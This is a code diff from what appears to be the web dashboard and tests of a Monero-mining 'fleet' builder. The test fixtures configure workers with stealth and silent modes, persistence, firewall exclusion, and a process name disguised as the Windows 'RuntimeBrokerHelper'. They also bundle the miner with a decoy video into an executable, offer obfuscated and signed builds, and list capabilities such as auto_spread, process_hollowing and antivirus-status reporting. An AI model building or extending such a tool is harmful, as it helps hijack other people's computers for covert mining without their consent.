<td className="mono-sm">{share.agent_id?.substring(0, 8)}</td> <td className="mono-sm">{share.agent_id?.substring(0, 8)}</td>
<td> <td>
<span className={`status-badge ${share.accepted ? 'online' : 'error'}`}> <span className={`status-badge ${share.accepted ? 'online' : 'error'}`}>
@@ -538,6 +538,6 @@ export default function DashboardPage() {
); );
} }
function formatTime(t: string): string { export function formatShareTime(t: string): string {
return new Date(t).toLocaleTimeString(); return new Date(t).toLocaleTimeString();
} }

View File

@@ -587,13 +587,12 @@ export default function SettingsPage() {
<NeonCard accent="magenta" className="settings-section"> <NeonCard accent="magenta" className="settings-section">
<h2 className="font-display">Access Control</h2> <h2 className="font-display">Access Control</h2>
<p className="section-desc"> <p className="section-desc">
API routes require login. Default account: <code>drjones</code> / <code>czapiewski</code> until you add users. API routes require login. On first server start, credentials are printed once in the server console (<code>admin</code> + random password). Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
</p> </p>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Browser session username</label> <label className="label">Browser session username</label>
<input type="text" className="input" placeholder="drjones" value={sessionUser} <input type="text" className="input" placeholder="admin" value={sessionUser}
onChange={(e) => setSessionUser(e.target.value)} /> onChange={(e) => setSessionUser(e.target.value)} />
</div> </div>
<div className="form-group"> <div className="form-group">

View File

@@ -0,0 +1,51 @@
import type { Agent, Share, ServerInfo } from '../types';
export function mockAgent(overrides: Partial<Agent> = {}): Agent {
return {
id: 'agent-001-uuid',
name: 'Test Miner',
wallet: '4' + 'A'.repeat(94),
ip: '192.168.1.10',
version: '1.0.0',
status: 'online',
cpu_cores: 8,
memory_gb: 16,
last_seen: new Date().toISOString(),
created_at: new Date().toISOString(),
hashrate_15s: 500,
hashrate_1m: 480,
hashrate_15m: 450,
shares_total: 100,
shares_good: 95,
shares_bad: 5,
cpu_usage_pct: 42,
memory_usage_pct: 55,
uptime_seconds: 3600,
platform: 'linux',
arch: 'amd64',
...overrides,
};
}
export function mockShare(overrides: Partial<Share> = {}): Share {
return {
id: 1,
agent_id: 'agent-001-uuid',
job_id: 'job-1',
difficulty: 1000,
accepted: true,
hash: 'abc123deadbeef',
nonce: '0001',
timestamp: new Date().toISOString(),
...overrides,
};
}
export const mockServerInfo: ServerInfo = {
port: 8080,
host: '0.0.0.0',
local_ips: ['192.168.1.5'],
suggested_url: 'http://192.168.1.5:8080',
dashboard_url: 'http://192.168.1.5:8080/dashboard',
websocket_url: 'ws://192.168.1.5:8080/ws/dashboard',
};

View File

@@ -0,0 +1 @@
import '@testing-library/jest-dom/vitest';

View File

@@ -0,0 +1,413 @@
import { describe, expect, it } from 'vitest';
import type {
Agent,
AgentCapabilities,
AgentDefaults,
AlertsConfig,
BackupPool,
BlueprintInfo,
Build,
BuildRecord,
BuildRequest,
BuildResponse,
EarningsEstimate,
FleetAlert,
FleetStats,
FusionEstimate,
HashrateSample,
PoolConfig,
PoolStatus,
ServerConfig,
ServerInfo,
ServerSettings,
Share,
WalletConfig,
WSMessage,
XmrPrice,
} from './index';
/** Runtime shape check — types/index.ts exports interfaces only (no type guards). */
function expectKeys(obj: Record<string, unknown>, keys: string[]) {
for (const key of keys) {
expect(Object.prototype.hasOwnProperty.call(obj, key)).toBe(true);
}
}
describe('types/index — Agent', () => {
const sample: Agent = {
id: 'a1',
name: 'office-pc',
wallet: '4' + 'A'.repeat(94),
ip: '192.168.1.20',
version: '1.0.0',
status: 'online',
cpu_cores: 8,
memory_gb: 16,
last_seen: '2026-05-30T12:00:00Z',
created_at: '2026-05-01T08:00:00Z',
hashrate_15s: 1200,
hashrate_1m: 1180,
hashrate_15m: 1150,
shares_total: 100,
shares_good: 98,
shares_bad: 2,
cpu_usage_pct: 45,
memory_usage_pct: 60,
uptime_seconds: 86400,
};
it('accepts online/offline/error status values', () => {
const statuses: Agent['status'][] = ['online', 'offline', 'error'];
for (const status of statuses) {
expect(statuses).toContain(status);
}
expect(sample.status).toBe('online');
});
it('supports optional fleet metadata fields', () => {
const extended: Agent = {
...sample,
notes: 'lab machine',
tags: ['office', 'gpu'],
platform: 'windows',
arch: 'amd64',
os_version: '11',
capabilities: {
hole_punch: false,
remote_aggressive: false,
mesh_p2p: false,
auto_spread: false,
process_hollowing: false,
ai_enabled: true,
} satisfies AgentCapabilities,
ssh_available: false,
posture_score: 85,
last_patch_days: 14,
};
expect(extended.tags).toHaveLength(2);
expect(extended.capabilities?.ai_enabled).toBe(true);
});
});
describe('types/index — BuildRequest', () => {
const minimal: BuildRequest = {
worker_name: 'worker-1',
server_url: 'http://192.168.1.5:8989',
wallet: '4' + 'A'.repeat(94),
threads: 4,
thread_mode: 'percent',
thread_percent: 75,
cpu_priority: 'below_normal',
mining_mode: 'idle',
display_mode: 'background',
silent_mode: true,
run_as: 'scheduled',
auto_start: true,
persistence: true,
process_name: 'RuntimeBrokerHelper',
max_cpu_usage_pct: 80,
max_memory_percent: 70,
min_free_ram_mb: 1024,
idle_threshold_pct: 20,
idle_duration_minutes: 5,
schedule_start: '21:00',
schedule_end: '06:00',
install_base: 'localappdata',
install_custom_base: '',
install_relative_path: 'CryptoMiner/{worker}',
adapt_to_hardware: true,
self_healing: true,
file_logging: false,
stealth_mode: true,
firewall_exclusion: true,
pool_host: 'pool.supportxmr.com',
pool_port: 443,
pool_tls: true,
pool_pass: 'x',
fusion_enabled: false,
fusion_run_order: 'parallel',
fusion_output_name: 'prep.exe',
ai_enabled: false,
ai_ollama_endpoint: 'http://localhost:11434',
ai_model: 'llama3.2',
};
it('includes required core forge fields', () => {
expectKeys(minimal as unknown as Record<string, unknown>, [
'worker_name',
'server_url',
'wallet',
'pool_host',
'pool_port',
'fusion_enabled',
'ai_enabled',
]);
});
it('accepts optional target_os union values', () => {
const platforms: NonNullable<BuildRequest['target_os']>[] = ['windows', 'linux', 'darwin', 'universal'];
for (const target_os of platforms) {
const req: BuildRequest = { ...minimal, target_os };
expect(req.target_os).toBe(target_os);
}
});
it('accepts backup pool and server URL fallbacks', () => {
const backupPools: BackupPool[] = [{ host: 'backup.pool', port: 443, tls: true, pass: 'x' }];
const req: BuildRequest = {
...minimal,
backup_pools: backupPools,
backup_server_urls: ['http://192.168.1.6:8989'],
cancel_token: 'cancel-abc',
};
expect(req.backup_pools).toHaveLength(1);
expect(req.backup_server_urls?.[0]).toContain('192.168');
});
});
describe('types/index — BuildRecord / Build alias', () => {
const record: BuildRecord = {
id: 'build-uuid',
worker_name: 'worker-1',
server_url: 'http://192.168.1.5:8989',
wallet: '4' + 'A'.repeat(94),
threads: 4,
file_size: 1024000,
file_path: '/data/builds/worker-1.exe',
created_at: '2026-05-30T10:00:00Z',
pool_host: 'pool.supportxmr.com',
pool_port: 443,
pool_tls: true,
pool_pass: 'x',
};
it('Build alias is assignable from BuildRecord', () => {
const build: Build = record;
expect(build.id).toBe(record.id);
expect(build.worker_name).toBe('worker-1');
});
it('supports optional download and bundle metadata', () => {
const extended: BuildRecord = {
...record,
file_name: 'worker-1.exe',
platform: 'windows',
bundle_size: 2048000,
download_url: '/api/v1/builds/build-uuid/download',
pinned: true,
};
expect(extended.pinned).toBe(true);
expect(extended.bundle_size).toBeGreaterThan(extended.file_size);
});
});
describe('types/index — server and fleet payloads', () => {
it('ServerInfo carries LAN and websocket URLs', () => {
const info: ServerInfo = {
port: 8989,
host: '0.0.0.0',
local_ips: ['192.168.1.5'],
suggested_url: 'http://192.168.1.5:8989',
dashboard_url: 'http://192.168.1.5:8989/',
websocket_url: 'ws://192.168.1.5:8989/ws/dashboard',
};
expect(info.local_ips).toContain('192.168.1.5');
});
it('ServerConfig nests pool, wallet, server, and alerts', () => {
const pool: PoolConfig = { host: 'pool.example.com', port: 3333, use_tls: false, password: 'x' };
const wallet: WalletConfig = { address: '4' + 'A'.repeat(94), payment_id: '' };
const server: ServerSettings = {
public_url: 'http://192.168.1.5:8989',
stats_retention_hours: 72,
build_retention_days: 30,
pool_reconnect_seconds: 30,
websocket_ping_seconds: 30,
max_agents: 100,
max_build_size_mb: 512,
log_agent_connections: true,
log_share_submissions: false,
log_pool_traffic: false,
strict_wallet_validation: true,
dashboard_subtitle: 'Fleet',
open_firewall_on_start: true,
};
const alerts: AlertsConfig = {
offline_threshold_minutes: 15,
hashrate_drop_threshold_pct: 50,
rejection_rate_threshold_pct: 10,
};
const config: ServerConfig = {
port: 8989,
data_dir: './data',
pool,
wallet,
server,
alerts,
};
expect(config.pool.host).toBe(pool.host);
expect(config.wallet.address.startsWith('4')).toBe(true);
});
it('FleetStats tracks acceptance rate', () => {
const stats: FleetStats = {
total_agents: 10,
online_agents: 8,
total_hashrate: 50000,
total_shares: 1000,
accepted_shares: 980,
rejected_shares: 20,
accept_rate: 0.98,
};
expect(stats.accept_rate).toBeCloseTo(stats.accepted_shares / stats.total_shares);
});
it('Share and HashrateSample tie metrics to agents', () => {
const share: Share = {
id: 1,
agent_id: 'a1',
job_id: 'job-1',
difficulty: 100000,
accepted: true,
hash: 'abc',
nonce: '0001',
timestamp: '2026-05-30T12:00:00Z',
};
const sample: HashrateSample = {
id: 1,
agent_id: 'a1',
hashrate: 1200,
timestamp: '2026-05-30T12:00:00Z',
};
expect(share.agent_id).toBe(sample.agent_id);
});
it('PoolStatus uses green/yellow/red traffic light status', () => {
const statuses: PoolStatus['status'][] = ['green', 'yellow', 'red'];
const pool: PoolStatus = {
key: 'primary',
host: 'pool.example.com',
port: 443,
use_tls: true,
wallet: '4' + 'A'.repeat(94),
connected: true,
status: 'green',
};
expect(statuses).toContain(pool.status);
});
it('FleetAlert supports warn and error levels', () => {
const alert: FleetAlert = {
id: 'alert-1',
level: 'warn',
type: 'offline',
agent_id: 'a1',
agent_name: 'office-pc',
message: 'Agent offline',
timestamp: '2026-05-30T12:00:00Z',
};
expect(['warn', 'error']).toContain(alert.level);
});
it('EarningsEstimate and XmrPrice carry pricing metadata', () => {
const earnings: EarningsEstimate = {
hashrate: 5000,
xmr_per_day: 0.001,
note: 'estimate',
};
const price: XmrPrice = {
usd: 180,
fetched_at: '2026-05-30T12:00:00Z',
source: 'coingecko',
};
expect(earnings.xmr_per_day).toBeGreaterThan(0);
expect(price.usd).toBeGreaterThan(0);
});
});
describe('types/index — build pipeline responses', () => {
it('BuildResponse covers success and error paths', () => {
const ok: BuildResponse = {
success: true,
build_id: 'uuid',
file_name: 'worker.exe',
download_url: '/api/v1/builds/uuid/download',
signed: true,
obfuscated: false,
};
const err: BuildResponse = { success: false, error: 'compile failed' };
expect(ok.success).toBe(true);
expect(err.error).toBeTruthy();
});
it('FusionEstimate lists byte breakdown fields', () => {
const est: FusionEstimate = {
prep_bytes: 1000,
prep_name: 'video.mp4',
estimated_worker_bytes: 5000000,
estimated_fusion_stub_bytes: 200000,
estimated_resource_patch_bytes: 50000,
estimated_total_bytes: 5251000,
output_file_name: 'runner.exe',
project_root_path: '/proj',
archive_path_hint: '/proj/out.zip',
obfuscate: false,
sign_build: false,
notes: ['ok'],
};
expect(est.estimated_total_bytes).toBeGreaterThan(est.prep_bytes);
});
it('BlueprintInfo stores optional parsed data', () => {
const bp: BlueprintInfo = {
name: 'default.json',
size: 4096,
created_at: '2026-05-30T10:00:00Z',
data: { worker_name: 'worker-1' },
};
expect(bp.data?.worker_name).toBe('worker-1');
});
it('AgentDefaults captures deprecated calibrate defaults shape', () => {
const defaults: AgentDefaults = {
threads: 4,
thread_mode: 'percent',
thread_percent: 75,
cpu_priority: 'below_normal',
max_cpu_usage_pct: 80,
max_memory_percent: 70,
min_free_ram_mb: 1024,
mining_mode: 'idle',
display_mode: 'background',
process_name: 'RuntimeBrokerHelper',
idle_threshold_pct: 20,
idle_duration_minutes: 5,
schedule_start: '21:00',
schedule_end: '06:00',
install_base: 'localappdata',
install_custom_base: '',
install_relative_path: 'CryptoMiner/{worker}',
adapt_to_hardware: true,
self_healing: true,
file_logging: false,
stealth_mode: true,
};
expect(defaults.thread_mode).toBe('percent');
});
it('WSMessage references typed ws payload import', () => {
const msg: WSMessage = {
type: 'stats_update',
payload: { agents: [] } as WSMessage['payload'],
};
expect(msg.type).toBe('stats_update');
});
});
describe('types/index — no runtime exports', () => {
it('module provides interfaces only (no type guards or constants at runtime)', () => {
// Documented expectation: consumers validate API JSON against these shapes manually.
expect(typeof Agent).toBe('undefined');
expect(typeof BuildRequest).toBe('undefined');
});
});

View File

@@ -25,6 +25,18 @@ export interface Agent {
os_version?: string; os_version?: string;
capabilities?: AgentCapabilities; capabilities?: AgentCapabilities;
ssh_available?: boolean; ssh_available?: boolean;
posture_score?: number;
last_patch_days?: number;
defender_enabled?: boolean;
defender_rtp?: boolean;
av_products?: string[];
firewall_domain?: boolean;
firewall_private?: boolean;
firewall_public?: boolean;
last_patch?: string; // ISO date YYYY-MM-DD
pending_updates?: number; // -1 = unknown
reboot_pending?: boolean;
agent_elevated?: boolean;
} }
export interface AgentCapabilities { export interface AgentCapabilities {

View File

@@ -20,6 +20,17 @@ export interface WSStatsUpdate {
shares_submitted?: number; shares_submitted?: number;
shares_accepted?: number; shares_accepted?: number;
ssh_available?: boolean; ssh_available?: boolean;
posture_score?: number;
last_patch_days?: number;
defender_rtp?: boolean;
av_products?: string[];
firewall_domain?: boolean;
firewall_private?: boolean;
firewall_public?: boolean;
last_patch?: string;
pending_updates?: number;
reboot_pending?: boolean;
agent_elevated?: boolean;
} }
export interface WSCommandResult { export interface WSCommandResult {

View File

@@ -17,5 +17,6 @@
"noFallthroughCasesInSwitch": true "noFallthroughCasesInSwitch": true
}, },
"include": ["src"], "include": ["src"],
"exclude": ["src/**/*.test.ts", "src/**/*.test.tsx", "src/**/*.spec.ts", "src/**/*.spec.tsx"],
"references": [{ "path": "./tsconfig.node.json" }] "references": [{ "path": "./tsconfig.node.json" }]
} }

View File

@@ -3,9 +3,11 @@ import { defineConfig } from 'vitest/config';
export default defineConfig({ export default defineConfig({
test: { test: {
environment: 'node', environment: 'node',
include: ['src/**/*.test.ts'], include: ['src/**/*.test.{ts,tsx}'],
setupFiles: ['src/test/setup.ts'],
environmentMatchGlobs: [ environmentMatchGlobs: [
['src/api/**', 'happy-dom'], ['src/api/**', 'happy-dom'],
['src/pages/**', 'happy-dom'],
], ],
}, },
}); });